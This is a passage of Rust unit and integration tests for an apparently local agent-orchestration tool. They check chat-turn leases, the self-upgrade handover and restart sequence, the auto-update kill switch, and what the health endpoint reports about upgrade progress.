15024 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
15025 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
15026 assert!(
15027 matches!(
15028 ui.begin_talk_turn_unless_pending(id).expect("start"),
15029 TalkTurnStart::Foreign
15030 ),
15031 "a foreign holder is refused, not queued behind"
15032 );
15033 assert!(
15034 !ui.talk_turns.lock().unwrap().live.contains(id),
15035 "a refused claim leaves no in-process entry behind"
15036 );
15037 drop(other);
15038 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
15039 assert!(talks.turn_held(id), "the web turn holds the lease");
15040 drop(turn);
15041 assert!(
15042 !talks.turn_held(id),
15043 "dropping the guard releases the lease"
15044 );
15045 }
15046
15047 #[test]
15048 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
15049 let home = TempDir::new().expect("temp home");
15050 let talks = Talks::at(home.path().join("talks"));
15051 let ui = Ui::new(
15052 Queue::at(home.path().join("queue")),
15053 Questions::at(home.path().join("questions")),
15054 talks.clone(),
15055 home.path().join("runs"),
15056 home.path().to_path_buf(),
15057 PathBuf::from("/repo"),
15058 )
15059 .with_worktrees_root(home.path().join("wt"));
15060 let id = "20260901-000000-order";
15061 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15062 let slots = ui.talk_turns.lock().unwrap();
15064 let dropper = std::thread::spawn(move || drop(turn));
15065 let start = std::time::Instant::now();
15066 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
15067 std::thread::sleep(Duration::from_millis(5));
15068 }
15069 assert!(!talks.turn_held(id), "the lease is released first");
15070 assert!(slots.live.contains(id), "the slot is still held meanwhile");
15071 drop(slots);
15072 dropper.join().expect("join");
15073 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
15074 }
15075
15076 #[tokio::test]
15077 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
15078 let fx = Fixture::start().await;
15079 let mut beat = crate::daemon::Status::new();
15083 beat.pid = 4321;
15084 beat.updated_at = jiff::Timestamp::now();
15085 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15086 .expect("publish a heartbeat");
15087
15088 let res = fx.post("/api/upgrade", None).await;
15089 assert_eq!(res.status, 409);
15090 let err = res.json()["error"].as_str().unwrap().to_owned();
15091 assert!(err.contains("4321"), "the refusal names the owner: {err}");
15092 assert!(err.contains("old one against the same queue"), "{err}");
15093 }
15094
15095 #[test]
15102 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
15103 assert!(!should_spawn_recheck(&crate::config::Update {
15104 mode: UpdateMode::Off,
15105 interval: None,
15106 }));
15107
15108 unsafe {
15111 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
15112 }
15113 let killed = should_spawn_recheck(&crate::config::Update {
15114 mode: UpdateMode::Notify,
15115 interval: None,
15116 });
15117 unsafe {
15118 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
15119 }
15120 assert!(
15121 !killed,
15122 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
15123 one-time startup check"
15124 );
15125
15126 assert!(should_spawn_recheck(&crate::config::Update {
15127 mode: UpdateMode::Notify,
15128 interval: None,
15129 }));
15130 }
15131
15132 #[test]
15138 fn recheck_poll_period_tracks_a_short_configured_interval() {
15139 let short = crate::config::Update {
15140 mode: UpdateMode::Notify,
15141 interval: Some("1m".to_owned()),
15142 };
15143 let period = recheck_poll_period(&short);
15144 assert!(
15145 period <= Duration::from_secs(30),
15146 "a one-minute interval must wake the task far sooner than the \
15147 default ceiling, or the deck would not notice within the \
15148 interval the operator configured: got {period:?}"
15149 );
15150
15151 let default = crate::config::Update {
15152 mode: UpdateMode::Notify,
15153 interval: None,
15154 };
15155 assert_eq!(
15156 recheck_poll_period(&default),
15157 UPDATE_RECHECK_POLL_MAX,
15158 "the default day-long interval should poll at the (capped) \
15159 ceiling rather than needlessly often"
15160 );
15161 }
15162
15163 #[test]
15171 fn recheck_skips_the_network_before_the_interval_elapses() {
15172 let dir = TempDir::new().expect("temp dir");
15173 let path = dir.path().join("state.json");
15174 let state = kaishin::UpdateCheckState {
15175 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
15176 last_known_latest: None,
15177 last_known_url: None,
15178 };
15179 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
15180
15181 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
15182 assert!(
15183 !update_recheck_due(&checker, None),
15184 "a check made moments ago must not be repeated before the \
15185 configured interval elapses"
15186 );
15187 }
15188
15189 #[test]
15195 fn recheck_defers_to_an_upgrade_already_in_flight() {
15196 let dir = TempDir::new().expect("temp dir");
15197 let path = dir.path().join("state.json");
15198 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
15199 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
15200
15201 assert!(
15202 !update_recheck_due(&checker, Some(&progress)),
15203 "a recheck must not run while an upgrade this deck started is \
15204 still moving"
15205 );
15206 }
15207
15208 #[tokio::test]
15209 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
15210 unsafe {
15222 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
15223 }
15224 let fx = Fixture::start().await;
15225 let res = fx.post("/api/upgrade", None).await;
15226 unsafe {
15227 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
15228 }
15229 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
15230 let body = res.json();
15231 assert!(body["to"].is_null(), "there was no release to move to");
15232 assert!(body["parked"].is_null(), "and nothing was parked");
15233 assert!(
15234 body["detail"]
15235 .as_str()
15236 .unwrap()
15237 .contains("disabled by MAGI_NO_AUTOUPDATE"),
15238 "{body:?}"
15239 );
15240 }
15241
15242 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
15243 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
15244 p.stage = stage;
15245 p
15246 }
15247
15248 #[test]
15249 fn busy_stages_match_the_ui_set() {
15250 use crate::updater::Stage;
15251 assert!(APP_JS.contains(
15252 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
15253 ));
15254 for s in [
15255 Stage::Downloading,
15256 Stage::Replaced,
15257 Stage::Parking,
15258 Stage::Restarting,
15259 ] {
15260 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
15261 }
15262 for s in [Stage::Done, Stage::Failed] {
15263 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
15264 }
15265 assert!(upgrade_in_motion(None).is_none());
15266 }
15267
15268 #[tokio::test]
15269 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
15270 use crate::updater::Stage;
15271 for stage in [
15272 Stage::Downloading,
15273 Stage::Replaced,
15274 Stage::Parking,
15275 Stage::Restarting,
15276 ] {
15277 let fx = Fixture::start().await;
15278 let seeded = seeded_progress(stage);
15279 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
15280 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
15281 .expect("read");
15282
15283 let res = fx.post("/api/upgrade", None).await;
15284 assert_eq!(res.status, 409, "{stage:?}");
15285 let err = res.json()["error"].as_str().unwrap().to_owned();
15286 assert!(err.contains("already in progress"), "{err}");
15287 assert!(err.contains(stage.as_str()), "{err}");
15288
15289 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
15290 .expect("read");
15291 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
15292 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
15293 .unwrap_or_default();
15294 assert!(!log.contains("signalling HANDOVER"), "{log}");
15295 }
15296 }
15297
15298 #[tokio::test]
15299 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
15300 use crate::updater::Stage;
15301 let repo = TempDir::new().expect("repo dir");
15302 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15303 .expect("write magi.toml");
15304 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15305 for stage in [Stage::Done, Stage::Failed] {
15306 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
15307 let res = fx.post("/api/upgrade", None).await;
15308 assert_eq!(res.status, 200, "{stage:?}");
15309 }
15310 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
15312 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
15313 }
15314
15315 #[tokio::test]
15316 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
15317 let repo = TempDir::new().expect("repo dir");
15333 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15334 .expect("write magi.toml");
15335 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15336
15337 let res = fx.post("/api/upgrade", None).await;
15343 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
15344 let body = res.json();
15345 assert!(body["to"].is_null(), "there was no release to move to");
15346 assert!(body["parked"].is_null(), "and nothing was parked");
15347 assert!(
15348 body["detail"]
15349 .as_str()
15350 .unwrap()
15351 .contains("nothing restarted"),
15352 "{body:?}"
15353 );
15354 }
15355
15356 #[tokio::test]
15357 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
15358 let repo = TempDir::new().expect("repo dir");
15363 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15364 .expect("write magi.toml");
15365 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15366
15367 let health = fx.get("/api/health").await.json();
15368 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
15369 assert_eq!(
15370 health["update"]["available"], false,
15371 "checking is off, which reads as \"unknown\", not \"none\""
15372 );
15373 assert!(health["update"]["to"].is_null());
15374 assert!(
15375 health["upgrade"].is_null(),
15376 "nothing has ever asked this deck to upgrade"
15377 );
15378 }
15379
15380 #[tokio::test]
15381 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
15382 let fx = Fixture::start().await;
15383 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
15384
15385 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15386 progress.parked_run = Some("20260905-000000-cd51".to_owned());
15387 progress.advance(crate::updater::Stage::Parking);
15388 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15389
15390 let health = fx.get("/api/health").await.json();
15391 assert_eq!(health["upgrade"]["stage"], "parking");
15392 assert_eq!(health["upgrade"]["from"], "0.5.1");
15393 assert_eq!(health["upgrade"]["to"], "0.5.2");
15394 let waiting_on = health["upgrade"]["waiting_on"]
15395 .as_str()
15396 .expect("waiting_on is set while parking a known run");
15397 assert!(waiting_on.contains("cd51"), "{waiting_on}");
15398 assert!(waiting_on.contains("implementing"), "{waiting_on}");
15399 }
15400
15401 #[tokio::test]
15402 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
15403 let fx = Fixture::start().await;
15404 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15405 progress.advance(crate::updater::Stage::Done);
15406 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15407
15408 let health = fx.get("/api/health").await.json();
15409 assert_eq!(health["upgrade"]["stage"], "done");
15410 assert!(
15411 health["upgrade"]["waiting_on"].is_null(),
15412 "nothing to wait on once it is done"
15413 );
15414 }
15415
15416 #[tokio::test]
15417 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
15418 let home = TempDir::new().expect("temp home");
15419 let runs = home.path().join("runs");
15420 std::fs::create_dir_all(&runs).expect("runs dir");
15421 let ui = Ui::new(
15422 Queue::at(home.path().join("queue")),
15423 Questions::at(home.path().join("questions")),
15424 Talks::at(home.path().join("talks")),
15425 runs,
15426 home.path().to_path_buf(),
15427 PathBuf::from("/repo/magi"),
15428 )
15429 .with_launch(launch_idle);
15430 let looping = ui.looping();
15431 let turns = ui.turns();
15432 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15433 .await
15434 .expect("bind loopback");
15435 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15436
15437 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15438 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15439
15440 hand_over(
15441 home.path(),
15442 &looping,
15443 &turns,
15444 &|_: &[String]| Duration::from_secs(5),
15445 served,
15446 |_| Ok(1),
15447 )
15448 .await
15449 .expect("hand over");
15450
15451 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
15452 assert_eq!(
15453 after.stage,
15454 crate::updater::Stage::Restarting,
15455 "hand_over owns the record through parking and up to restarting; \
15456 the successor is what finishes it"
15457 );
15458 }
15459
15460 #[tokio::test]
15463 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
15464 for fail in [false, true] {
15465 let home = TempDir::new().expect("temp home");
15466 let ui = idle_ui(&home);
15467 let looping = ui.looping();
15468 let turns = ui.turns();
15469 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15470 .await
15471 .expect("bind loopback");
15472 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15473 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15474 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15475
15476 let calls = std::sync::atomic::AtomicUsize::new(0);
15477 let outcome = hand_over(
15478 home.path(),
15479 &looping,
15480 &turns,
15481 &|_: &[String]| Duration::from_secs(5),
15482 served,
15483 |_| {
15484 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15485 if fail {
15486 anyhow::bail!("no exec")
15487 } else {
15488 Ok(4242)
15489 }
15490 },
15491 )
15492 .await;
15493 assert_eq!(outcome.is_err(), fail);
15494 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15495
15496 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
15497 .expect("upgrade.log is written under the home");
15498 for step in [
15499 "entered",
15500 "finish_loop",
15501 "listener released",
15502 "starting the successor",
15503 ] {
15504 assert!(log.contains(step), "missing `{step}` in:\n{log}");
15505 }
15506 assert!(
15507 log.contains(if fail { "did not start" } else { "pid 4242" }),
15508 "{log}"
15509 );
15510 }
15511 }
15512
15513 #[tokio::test]
15516 async fn the_handover_signal_wakes_one_waiter_once() {
15517 let signal = Notify::new();
15518 signal.notify_one();
15520 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
15521 .await
15522 .expect("an early signal is still seen");
15523 assert!(
15525 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
15526 .await
15527 .is_err(),
15528 "a consumed signal must not wake a second time"
15529 );
15530 let signal = std::sync::Arc::new(signal);
15532 let waiter = tokio::spawn({
15533 let signal = std::sync::Arc::clone(&signal);
15534 async move { wait_for_handover(&signal).await }
15535 });
15536 tokio::time::sleep(Duration::from_millis(20)).await;
15537 assert!(!waiter.is_finished(), "nothing was signalled yet");
15538 signal.notify_one();
15539 tokio::time::timeout(Duration::from_secs(5), waiter)
15540 .await
15541 .expect("a late signal wakes the waiter")
15542 .expect("join");
15543 }
15544
15545 #[tokio::test]
15546 async fn health_says_how_long_a_handover_has_been_stuck() {
15547 let fx = Fixture::start().await;
15548 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15549 progress.advance(crate::updater::Stage::Replaced);
15550 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
15551 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15552
15553 let health = fx.get("/api/health").await.json();
15554 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
15555 assert!(stuck >= 600, "{stuck}");
15556 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
15557 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
15558 }
15559
15560 #[tokio::test]
15561 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
15562 let home = tempfile::tempdir().expect("temp home");
15563 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15564 progress.advance(crate::updater::Stage::Parking);
15565 crate::updater::write_progress(home.path(), &progress).expect("seed");
15566 let mut again = progress.clone();
15568 again.advance(crate::updater::Stage::Replaced);
15569 crate::updater::write_progress(home.path(), &again).expect("replaced");
15570 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15571 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
15572 let after = crate::updater::read_progress(home.path()).expect("record");
15573 assert_eq!(after.stage, crate::updater::Stage::Parking);
15574 }
15575
15576 #[tokio::test]
15577 async fn health_does_not_call_a_live_parking_wait_stuck() {
15578 let fx = Fixture::start().await;
15579 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15580 progress.parked_run = Some("20260905-000000-cd51".to_owned());
15581 progress.advance(crate::updater::Stage::Parking);
15582 let hours = Duration::from_secs(3 * 3600);
15583 progress.started_at = Timestamp::now() - hours;
15584 progress.updated_at = Timestamp::now() - hours;
15585 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15586 let _lease = crate::updater::LeaseGuard::enter(
15587 fx.home.path(),
15588 Some("20260905-000000-cd51".to_owned()),
15589 );
15590
15591 let health = fx.get("/api/health").await.json();
15592 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
15593 assert!(health["upgrade"]["stuck_kind"].is_null());
15594 assert_eq!(health["upgrade"]["handover_alive"], true);
15595 let waiting_on = health["upgrade"]["waiting_on"]
15596 .as_str()
15597 .expect("waiting_on");
15598 assert!(waiting_on.contains("cd51"), "{waiting_on}");
15599 }
15600
15601 fn idle_ui(home: &TempDir) -> Ui {
15602 let runs = home.path().join("runs");
15603 std::fs::create_dir_all(&runs).expect("runs dir");
15604 Ui::new(
15605 Queue::at(home.path().join("queue")),
15606 Questions::at(home.path().join("questions")),
15607 Talks::at(home.path().join("talks")),
15608 runs,
15609 home.path().to_path_buf(),
15610 PathBuf::from("/repo/magi"),
15611 )
15612 .with_launch(launch_idle)
15613 }
15614
15615 async fn park_fixture(
15616 home: &TempDir,
15617 ) -> (
15618 Ui,
15619 Arc<Mutex<LoopState>>,
15620 Arc<Mutex<TalkTurns>>,
15621 tokio::task::JoinHandle<std::io::Result<()>>,
15622 ) {
15623 let ui = idle_ui(home);
15624 let looping = ui.looping();
15625 let turns = ui.turns();
15626 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15627 .await
15628 .expect("bind loopback");
15629 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
15630 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15631 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15632 (ui, looping, turns, served)
15633 }
15634
15635 #[tokio::test]
15639 async fn hand_over_waits_for_a_running_chat_turn() {
15640 let home = TempDir::new().expect("temp home");
15641 let (ui, looping, turns, served) = park_fixture(&home).await;
15642 let ui = Arc::new(ui);
15643 let id = "20260901-000000-chat";
15644 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15645
15646 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15647 let handover = tokio::spawn({
15648 let home = home.path().to_path_buf();
15649 let turns = Arc::clone(&turns);
15650 let calls = Arc::clone(&calls);
15651 async move {
15652 hand_over(
15653 &home,
15654 &looping,
15655 &turns,
15656 &|_: &[String]| Duration::from_secs(60),
15657 served,
15658 move |_| {
15659 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15660 Ok(1)
15661 },
15662 )
15663 .await
15664 }
15665 });
15666
15667 let waiting = async {
15668 for _ in 0..200 {
15669 if crate::updater::read_progress(home.path())
15670 .is_some_and(|p| p.parked_talks == [id.to_owned()])
15671 {
15672 return;
15673 }
15674 tokio::time::sleep(Duration::from_millis(25)).await;
15675 }
15676 panic!("the park never named the chat turn");
15677 };
15678 waiting.await;
15679 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15680
15681 let refused = ui.begin_talk_turn("20260901-000000-late").err();
15684 assert!(
15685 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15686 "a direct start says an upgrade is in progress"
15687 );
15688 assert!(
15689 ui.begin_queued_talk_turn("20260901-000000-late")
15690 .expect("queued claim")
15691 .is_none()
15692 );
15693 assert!(matches!(
15694 ui.begin_talk_turn_unless_pending("20260901-000000-late")
15695 .expect("start"),
15696 TalkTurnStart::Busy
15697 ));
15698 assert_eq!(turns.lock().unwrap().live.len(), 1);
15699
15700 let progress = crate::updater::read_progress(home.path()).expect("progress");
15702 let view = upgrade_progress_view(&ui, progress);
15703 assert!(
15704 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
15705 "{:?}",
15706 view.waiting_on
15707 );
15708
15709 assert!(!handover.is_finished());
15710 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15711 drop(turn);
15712 handover.await.expect("join").expect("hand over");
15713 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15714 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15715 }
15716
15717 #[tokio::test]
15720 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
15721 let home = TempDir::new().expect("temp home");
15722 let (ui, looping, turns, served) = park_fixture(&home).await;
15723 let ui = Arc::new(ui);
15724 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
15726 lock_or_recover(&looping).live = Some(Live {
15727 stop: daemon::Stop::new(),
15728 handle: tokio::spawn(async move {
15729 let _ = loop_ended.await;
15730 }),
15731 opts: daemon::Opts::default(),
15732 });
15733
15734 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15735 let handover = tokio::spawn({
15736 let home = home.path().to_path_buf();
15737 let turns = Arc::clone(&turns);
15738 let calls = Arc::clone(&calls);
15739 async move {
15740 hand_over(
15741 &home,
15742 &looping,
15743 &turns,
15744 &|_: &[String]| Duration::from_secs(60),
15745 served,
15746 move |_| {
15747 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15748 Ok(1)
15749 },
15750 )
15751 .await
15752 }
15753 });
15754
15755 let reached = async {
15756 for _ in 0..200 {
15757 if crate::updater::read_progress(home.path())
15758 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
15759 {
15760 return;
15761 }
15762 tokio::time::sleep(Duration::from_millis(25)).await;
15763 }
15764 panic!("the hand-over never reached parking");
15765 };
15766 reached.await;
15767
15768 assert!(!turns.lock().unwrap().parking);
15770 let turn = ui
15771 .begin_talk_turn("20260901-000000-chat")
15772 .expect("claim")
15773 .expect("a turn can start while the loop parks");
15774
15775 end_loop.send(()).expect("loop still waiting");
15777 for _ in 0..200 {
15778 if turns.lock().unwrap().parking {
15779 break;
15780 }
15781 tokio::time::sleep(Duration::from_millis(25)).await;
15782 }
15783 assert!(
15784 turns.lock().unwrap().parking,
15785 "closed once the loop is done"
15786 );
15787 let refused = ui.begin_talk_turn("20260901-000000-late").err();
15788 assert!(
15789 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15790 "no turn starts once the loop is done"
15791 );
15792 assert!(
15793 ui.begin_queued_talk_turn("20260901-000000-late")
15794 .expect("queued claim")
15795 .is_none()
15796 );
15797 assert!(!handover.is_finished());
15798 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15799
15800 drop(turn);
15801 handover.await.expect("join").expect("hand over");
15802 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15803 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15804 }
15805
15806 #[tokio::test]
15809 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
15810 let home = TempDir::new().expect("temp home");
15811 let (ui, looping, turns, served) = park_fixture(&home).await;
15812 let id = "20260901-000000-stuk";
15813 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15814
15815 let calls = std::sync::atomic::AtomicUsize::new(0);
15816 hand_over(
15817 home.path(),
15818 &looping,
15819 &turns,
15820 &|_: &[String]| Duration::from_millis(300),
15821 served,
15822 |_| {
15823 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15824 Ok(1)
15825 },
15826 )
15827 .await
15828 .expect("hand over");
15829 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15830
15831 let progress = crate::updater::read_progress(home.path()).expect("progress");
15832 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
15833 assert!(
15834 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
15835 "{:?}",
15836 progress.detail
15837 );
15838 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
15839 assert!(
15840 log.contains("handing over anyway") && log.contains(id),
15841 "{log}"
15842 );
15843 }
15844
15845 #[tokio::test]
15848 async fn drain_loop_starts_no_turn_while_parking() {
15849 let tmp = TempDir::new().expect("tempdir");
15850 let repo = tmp.path().join("repo");
15851 std::fs::create_dir_all(&repo).expect("repo dir");
15852 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15853 let home = TempDir::new().expect("temp home");
15854 let talks = Talks::at(home.path().join("talks"));
15855 let ui = Ui::new(
15856 Queue::at(home.path().join("queue")),
15857 Questions::at(home.path().join("questions")),
15858 talks.clone(),
15859 home.path().join("runs"),
15860 home.path().to_path_buf(),
15861 repo.clone(),
15862 )
15863 .with_worktrees_root(home.path().join("wt"));
15864 let cfg = config_for(&repo).await.expect("discover config");
15865 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15866 let id = talk.id.clone();
15867 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
15868 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
15869 let turns = ui.turns();
15870 let parking = ParkingTurns::begin(&turns);
15871
15872 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
15873
15874 assert!(
15875 turns.lock().unwrap().live.is_empty(),
15876 "the slot is given up"
15877 );
15878 let fresh = talks.get(&id).expect("talk");
15879 assert_eq!(fresh.pending, "later", "the draft is still queued");
15880 assert!(fresh.turns.is_empty(), "no turn ran");
15881 drop(parking);
15882 }
15883
15884 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
15886 let looping = ui.looping();
15887 let turns = ui.turns();
15888 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15889 .await
15890 .expect("bind loopback");
15891 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15892 let told = std::sync::Mutex::new(None);
15893 hand_over(
15894 home.path(),
15895 &looping,
15896 &turns,
15897 &|_: &[String]| Duration::from_secs(5),
15898 served,
15899 |resume| {
15900 *told.lock().unwrap() = Some(resume);
15901 Ok(1)
15902 },
15903 )
15904 .await
15905 .expect("hand over");
15906 told.into_inner().unwrap().expect("successor was started")
15907 }
15908
15909 #[tokio::test]
15910 async fn a_running_loop_is_resumed_by_the_successor() {
15911 let home = TempDir::new().expect("temp home");
15912 let ui = idle_ui(&home);
15913 ui.start_loop(None).expect("start");
15914 ui.park_for_upgrade().expect("park");
15915 for _ in 0..500 {
15917 if !ui.loop_view(None).running {
15918 break;
15919 }
15920 tokio::time::sleep(Duration::from_millis(2)).await;
15921 }
15922 assert!(handed_over(&home, ui).await, "a running loop must resume");
15923
15924 let successor = idle_ui(&home);
15925 assert!(!successor.loop_view(None).running);
15926 assert!(successor.resume_after_handover(true));
15927 assert!(successor.loop_view(None).running);
15928 successor.stop_loop(None, false).expect("stop");
15929 }
15930
15931 #[tokio::test]
15932 async fn a_second_upgrade_request_keeps_the_resume_intent() {
15933 let home = TempDir::new().expect("temp home");
15934 let ui = idle_ui(&home);
15935 ui.start_loop(None).expect("start");
15936 ui.park_for_upgrade().expect("first park");
15937 ui.park_for_upgrade().expect("second park");
15938 assert!(handed_over(&home, ui).await);
15939 }
15940
15941 #[tokio::test]
15942 async fn a_stop_during_the_handover_wait_is_honoured() {
15943 let home = TempDir::new().expect("temp home");
15944 let ui = idle_ui(&home);
15945 ui.start_loop(None).expect("start");
15946 ui.park_for_upgrade().expect("park");
15947 ui.stop_loop(None, false).expect("stop");
15948 assert!(!handed_over(&home, ui).await);
15949 }
15950
15951 #[tokio::test]
15952 async fn an_idle_loop_stays_stopped_across_the_handover() {
15953 let home = TempDir::new().expect("temp home");
15954 let ui = idle_ui(&home);
15955 ui.park_for_upgrade().expect("park");
15956 assert!(!handed_over(&home, ui).await);
15957
15958 let successor = idle_ui(&home);
15959 assert!(!successor.resume_after_handover(false));
15960 assert!(!successor.loop_view(None).running);
15961 }
15962
15963 #[tokio::test]
15964 async fn a_loop_the_operator_stopped_is_not_resumed() {
15965 let home = TempDir::new().expect("temp home");
15966 let ui = idle_ui(&home);
15967 ui.start_loop(None).expect("start");
15968 ui.stop_loop(None, false).expect("stop");
15969 ui.park_for_upgrade().expect("park");
15970 assert!(!handed_over(&home, ui).await);
15971 }
15972
15973 #[test]
15974 fn only_an_explicit_one_requests_a_resume() {
15975 assert!(!resume_requested(None));
15976 assert!(!resume_requested(Some("0".into())));
15977 assert!(!resume_requested(Some("".into())));
15978 assert!(resume_requested(Some("1".into())));
15979 }
15980
15981 #[test]
15982 fn the_upgrade_button_arms_before_it_restarts_anything() {
15983 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
15986 assert!(APP_JS.contains("Replace the binary and restart?"));
15987 assert!(APP_JS.contains("function confirmed("));
15988 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
15993 assert!(
15997 APP_JS.contains("Parking, then restarting"),
